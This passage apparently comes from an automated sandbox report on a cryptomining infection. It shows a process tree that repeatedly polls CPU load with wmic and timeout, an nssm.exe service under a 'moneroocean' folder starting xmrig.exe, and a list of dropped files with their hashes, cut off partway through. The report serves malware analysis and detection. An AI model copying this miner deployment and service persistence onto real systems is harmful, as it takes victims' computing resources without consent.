                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:4468
                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                PID:3604
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:1284
                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:452
                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                    PID:4528
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4324
                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:2316
                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                        PID:3676
                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4404
                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4728
                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                            PID:2220
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:3612
                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5004
                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                PID:624
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3380
                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:3912
                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1048
                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1548
                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                        PID:3880
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1900
                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4132
                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                            PID:4464
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:432
                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3684
                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                PID:1664
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1452
                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:1168
                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                    PID:2192
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:1860
                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4532
                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                        PID:4672
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:4004
                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:2720
                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                            PID:2496
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:184
                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:936
                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                PID:672
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:4700
                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:2612
                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                    PID:4748
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:4864
                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4716
                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                        PID:2440
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4172
                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2516
                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                            PID:3784
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4252
                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4268
                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                PID:2592
                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:1404
                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3372
                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                    PID:3876
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:3132
                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:1972
                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                        PID:3928
                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:4220
                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:2976
                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                            PID:3080
                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:4656
                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3592
                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                PID:2916
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:3456
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:400
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                    PID:3140
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:4132
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:1712
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                        timeout /t 1
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                        PID:4988
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:4620
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                            wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:4248
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                            timeout /t 1
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                            • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                            PID:3984
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3136
                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:4964
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                timeout /t 1
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                PID:640
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:4460
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                    wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:4672
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                    timeout /t 1
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                    PID:3076
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:4376
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                        wmic cpu get loadpercentage
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:2244
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\moneroocean\nssm.exe
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:4768
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\moneroocean\xmrig.exe
                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\moneroocean\xmrig.exe"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:2632
                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4232 --field-trial-handle=2656,i,16940681401824032220,151921362336696246,262144 --variations-seed-version /prefetch:8
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:4660

                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            2f57fde6b33e89a63cf0dfdd6e60a351

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            445bf1b07223a04f8a159581a3d37d630273010f

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            5b5352c55a8e79ac8de4be3202d496a1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            4a263d9e36e5ef972e4b19035cae169e1df6459c

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            eff52a77e2fd653199c31162fbd5557a83995ef0e6e0570bf6495d1b5386b3b8

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            c4e5e245c427bc6f9cc95ae80efbd46fd432bea5a4f9366332b1850d833316e6f4eab0e25259b2ea39c40724dcae91ba748234cb1a3cf95b38d8fed162741d63

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            e7c57cdd8bce4a096d066e757ba0c046

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            96578a7712eb5e1ee0cb6a34940929e87e227cfe

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            a5ac108f15056d63a305730bc0498965560787c72ff925c0fe7a6e75e535fecf

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            446f69a7f7d0e38704509bc8c9e11e55ce0f54ae4839e749d096c6e6ca8ce7dac7903cd7846ce8197ad2327e0573027f6fee014ddae0afa3b59a2b000b42e5a7

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            dd53c307da7ba48080a69c577a28356d

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            bfe948e75c7f3138515bf015b11793387fb81f20

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            f3085b35631017173628a3b0d916f7d085a1ec4976c5506396bf5514984cd291

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            125f03f5773103939de3bc20525155696a8d4b54cc87ad9eb35389c745ffb5e1cfa10a08e1407806f98b67d6c2527bd350a509fcc9f0eaee370fc2eb6494ef4f

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            5d06042c3fe297ffc93a519417999dfe

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            474eb5b7daaefe4af1f5fe0aecdc869b4196e2c2

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c5964a82284aa2d20a8fda7dac0201201a30f0f0b9cab7c3596dcafc65b395d8

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            214ec78fc41ed5a0cb69b962fa155dffb01025cadbaeee8c82ed2e5414a00cb815ac53cc88d0bce34b117a28cc13329caceea01288620c79c3ad11848975c5f8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            9141afbe205ae5ee4e4e12d3a281b9c7

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            80f1c6ee96f6949acaf77491721f0929a7477961

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            da09e1550ea118daa513bf2afdad3c22333451164712eb1ca6ee799cc93b5cb9

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            e2ae1354f006af45517a167e22a44ba9a9def5f520c4bbd6421c3d60f072879fc67383ce0ae31db97a81bd0610dec567090fb4eb0ec71c793bd851b2d0fab71d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            987ad4b33dd1a3d85329fb79e477cdd5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            a20a76d5e5aa10fa69853bffe3e7a6955d49249a

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            295f0dffdc30245f9947407c8200de8a11491ca2ce5d2b2659416f135f842850

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            94d86ef459bd60a8c51207fee6281095231d9fd51aa3c708a9c3a936326b382b69517bc41121a27abff09c735d33228717f8b4a087a1a09e286fe3b14024b6b8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            a9b53645ac136a73f0af2f791f716efd

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9917c3c61b029440dacd1b93a80700ce4afdfae8

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            e9945e3f08483ef253189f405ad6ed0360649884e7ff534bbb233ba93fdd71d6

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            a10d2e89faf9f76242edf38c88af522c7739402e158b7202566442bcbe78c84e7ff1c375a90c75bc396046e90a8a57dc24817a1a5ae524da148c1eef034962b9

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            143a478fb47996f74bbbcdaa252b9e0b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            288893a45c1c50f8245a32aa06dfb1ac2ff31c83

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            6d91b6cc49e12bf850b873bfd57f591a37fe1aef5ca6e2bc8855dc866abf479b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            e7e2d235fc60e58fe10961515db7f1a667cc58268b8cd3066afa5e7e4de0b1217e3cb85fbe24230b3eb7ac94399fa42971772954a0c309d3cb9334b7a67f93d8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            68934f3f08ec215f81367aa0dcafccb5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            ee64d26c0e324f59ca0fb2b7fc0808cfb985be0a

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3adf0bd133b877436dcb6d441b5e5991f56feac0e8370e5f821fcd2d248577a5

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            5c823017241a83f067ef9ad1020d879b5108be8cb8e4422f1abf079c67c2871d90fbd45446946860bc45dfac6f8d71bafef00c125269f28aa9980873e8247b5d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            1KB

                                                                                                                                                                                                                                                                                                            MD5

